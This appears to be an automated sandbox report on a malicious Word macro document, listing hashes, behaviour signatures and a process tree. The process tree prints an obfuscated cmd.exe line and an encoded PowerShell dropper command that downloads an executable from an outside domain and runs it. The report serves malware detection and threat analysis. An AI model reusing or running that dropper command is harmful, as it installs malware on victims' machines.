Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-05-2024 13:08

General

  • Target

    5f3d34aca12056cbef02b051e68146ad_JaffaCakes118.doc

  • Size

    84KB

  • MD5

    5f3d34aca12056cbef02b051e68146ad

  • SHA1

    d1e324a682e84863f7fb150d234b77565d43f82f

  • SHA256

    28e9afdcd0f2797bad432d7ff1299afbf85306c4585b0b292f68c2996bf0b8bc

  • SHA512

    9b8349de30c15c0942f19e0d9207da953390e7c327ccf880cdb228753a8ea1fc64905ec7148c158320317096e31a3dc4140f0875a6d26797fa1850a0aacf1699

  • SSDEEP

    1536:tAP5iWGjmHPUVPVAeGVfDx8yqDY3QnTe:gKwU6NDx8dT

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://yaticaterm.com/TYJ/wwnox.php?l=juxe8.xap

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 8 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5f3d34aca12056cbef02b051e68146ad_JaffaCakes118.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5108
    • C:\Windows\SYSTEM32\cMd.eXe
      cMd.eXe /c p^o^w^e^r^s^h^E^L^L^.^e^x^e^ ^-^e^c^ ^K^A^B^O^A^G^U^A^d^w^A^t^A^E^8^A^Y^g^B^q^A^G^U^A^Y^w^B^0^A^C^A^A^U^w^B^5^A^H^M^A^d^A^B^l^A^G^0^A^L^g^B^O^A^G^U^A^d^A^A^u^A^F^c^A^Z^Q^B^i^A^E^M^A^b^A^B^p^A^G^U^A^b^g^B^0^A^C^k^A^L^g^B^E^A^G^8^A^d^w^B^u^A^G^w^A^b^w^B^h^A^G^Q^A^R^g^B^p^A^G^w^A^Z^Q^A^o^A^C^I^A^a^A^B^0^A^H^Q^A^c^A^A^6^A^C^8^A^L^w^B^5^A^G^E^A^d^A^B^p^A^G^M^A^Y^Q^B^0^A^G^U^A^c^g^B^t^A^C^4^A^Y^w^B^v^A^G^0^A^L^w^B^U^A^F^k^A^S^g^A^v^A^H^c^A^d^w^B^u^A^G^8^A^e^A^A^u^A^H^A^A^a^A^B^w^A^D^8^A^b^A^A^9^A^G^o^A^d^Q^B^4^A^G^U^A^O^A^A^u^A^H^g^A^Y^Q^B^w^A^C^I^A^L^A^A^g^A^C^Q^A^Z^Q^B^u^A^H^Y^A^O^g^B^B^A^F^A^A^U^A^B^E^A^E^E^A^V^A^B^B^A^C^A^A^K^w^A^g^A^C^c^A^X^A^A^3^A^D^I^A^N^w^B^l^A^D^M^A^N^Q^A^3^A^D^E^A^L^g^B^l^A^H^g^A^Z^Q^A^n^A^C^k^A^O^w^A^g^A^F^M^A^d^A^B^h^A^H^I^A^d^A^A^t^A^F^A^A^c^g^B^v^A^G^M^A^Z^Q^B^z^A^H^M^A^I^A^A^k^A^G^U^A^b^g^B^2^A^D^o^A^Q^Q^B^Q^A^F^A^A^R^A^B^B^A^F^Q^A^Q^Q^A^n^A^F^w^A^N^w^A^y^A^D^c^A^Z^Q^A^z^A^D^U^A^N^w^A^x^A^C^4^A^Z^Q^B^4^A^G^U^A^J^w^A^7^A^C^A^A^R^Q^B^4^A^G^k^A^d^A^A^=
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:3688
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershELL.exe -ec KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACIAaAB0AHQAcAA6AC8ALwB5AGEAdABpAGMAYQB0AGUAcgBtAC4AYwBvAG0ALwBUAFkASgAvAHcAdwBuAG8AeAAuAHAAaABwAD8AbAA9AGoAdQB4AGUAOAAuAHgAYQBwACIALAAgACQAZQBuAHYAOgBBAFAAUABEAEEAVABBACAAKwAgACcAXAA3ADIANwBlADMANQA3ADEALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAnAFwANwAyADcAZQAzADUANwAxAC4AZQB4AGUAJwA7ACAARQB4AGkAdAA=
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3164

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCDA031.tmp\gb.xsl

    Filesize

    262KB

    MD5

    51d32ee5bc7ab811041f799652d26e04

    SHA1

    412193006aa3ef19e0a57e16acf86b830993024a

    SHA256

    6230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97

    SHA512

    5fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b4gsr2wo.e3d.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/3164-540-0x00000262332B0000-0x00000262332D2000-memory.dmp

    Filesize

    136KB

  • memory/5108-15-0x00007FFB30E60000-0x00007FFB30E70000-memory.dmp

    Filesize

    64KB

  • memory/5108-18-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

    Filesize

    2.0MB

  • memory/5108-5-0x00007FFB7356D000-0x00007FFB7356E000-memory.dmp

    Filesize

    4KB

  • memory/5108-6-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

    Filesize

    2.0MB

  • memory/5108-8-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

    Filesize

    2.0MB

  • memory/5108-7-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

    Filesize

    2.0MB

  • memory/5108-10-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

    Filesize

    2.0MB

  • memory/5108-9-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

    Filesize

    2.0MB

  • memory/5108-11-0x00007FFB30E60000-0x00007FFB30E70000-memory.dmp

    Filesize

    64KB

  • memory/5108-13-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

    Filesize

    2.0MB

  • memory/5108-14-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

    Filesize

    2.0MB

  • memory/5108-0-0x00007FFB33550000-0x00007FFB33560000-memory.dmp

    Filesize

    64KB

  • memory/5108-12-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

    Filesize

    2.0MB

  • memory/5108-1-0x00007FFB33550000-0x00007FFB33560000-memory.dmp

    Filesize

    64KB

  • memory/5108-17-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

    Filesize

    2.0MB

  • memory/5108-16-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

    Filesize

    2.0MB

  • memory/5108-3-0x00007FFB33550000-0x00007FFB33560000-memory.dmp

    Filesize

    64KB

  • memory/5108-512-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

    Filesize

    2.0MB

  • memory/5108-531-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

    Filesize

    2.0MB

  • memory/5108-538-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

    Filesize

    2.0MB

  • memory/5108-537-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

    Filesize

    2.0MB

  • memory/5108-4-0x00007FFB33550000-0x00007FFB33560000-memory.dmp

    Filesize

    64KB

  • memory/5108-2-0x00007FFB33550000-0x00007FFB33560000-memory.dmp

    Filesize

    64KB

  • memory/5108-566-0x00007FFB33550000-0x00007FFB33560000-memory.dmp

    Filesize

    64KB

  • memory/5108-568-0x00007FFB33550000-0x00007FFB33560000-memory.dmp

    Filesize

    64KB

  • memory/5108-569-0x00007FFB33550000-0x00007FFB33560000-memory.dmp

    Filesize

    64KB

  • memory/5108-567-0x00007FFB33550000-0x00007FFB33560000-memory.dmp

    Filesize

    64KB

  • memory/5108-570-0x00007FFB734D0000-0x00007FFB736C5000-memory.dmp

    Filesize

    2.0MB